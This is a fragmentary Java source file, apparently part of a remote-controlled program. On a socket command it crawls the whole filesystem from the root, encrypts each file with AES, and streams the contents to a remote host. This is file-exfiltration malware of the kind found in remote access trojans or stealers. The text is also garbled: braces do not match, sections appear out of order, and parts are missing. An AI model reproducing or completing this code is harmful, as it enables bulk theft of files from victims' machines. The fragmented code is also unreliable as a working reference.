Java Code
Java Code
Cipher;
import javax.crypto.SecretKey;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import java.io.File;
import java.io.FileInputStream;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
import java.nio.charset.StandardCharsets;
import java.security.SecureRandom;
import java.util.Arrays;
import java.util.Base64;
}
//
***********************************************************************************
***
}
catch (Exception e)
{
System.out.println("Auto scanning recv function error: "+ e);
}
return msg;
}
}
catch (Exception e)
{
System.out.println("Auto scan send msg error: "+ e);
}
}
//
***********************************************************************************
************
auto_scan_send.write(encrypted);
auto_scan_send.flush();
}catch (Exception e)
{
e.printStackTrace();
}
try
{
auto_scan_send.write(iv);
auto_scan_send.flush();
//Thread.sleep(5000);
}
catch (Exception e)
{
System.out.println("downloading file IV error: "+
e);
}
a=auto_scanning_recv_c0mmand_fun();
System.out.println(a);
try
{
FileInputStream fis=new FileInputStream(file);
byte[] buffer= new byte[8192];
int readbyte;
while ((readbyte=fis.read(buffer)) != -1)
{
file_encryption_function(Arrays.copyOf(buffer,
readbyte), iv);
// auto_scan_send.write(buffer,0,readbyte);
// auto_scan_send.flush();
//a=autoscanning_recv_command(b);
byte[] buf=new byte[4096];
int useless_readbyte=auto_scan_recv.read(buf);
}
String xyz="END_OF_FILE";
byte[] delimeter=xyz.getBytes();
auto_scan_send.write(delimeter);
auto_scan_send.flush();
}
catch (Exception e)
{
e.printStackTrace();
continue;
}
}
}
}
}
}
}
//*********************************************************************************
**************
auto_scan_recv = s.getInputStream();
auto_scan_send = s.getOutputStream();
cmd=auto_scanning_recv_c0mmand_fun();
if (cmd.equals("START_SEND_AUTO_SCANNING_DATA"))
{
System.out.println(cmd);
File path= new File("/");
auto_scanning_downloading_func(path);
String delimeter2="END_OF_SEARCHING_FILES";
auto_scan_send_command_fun(delimeter2);
}
catch (Exception e)
{
System.out.println("Autu scaning Main function error: "+ e);
}
}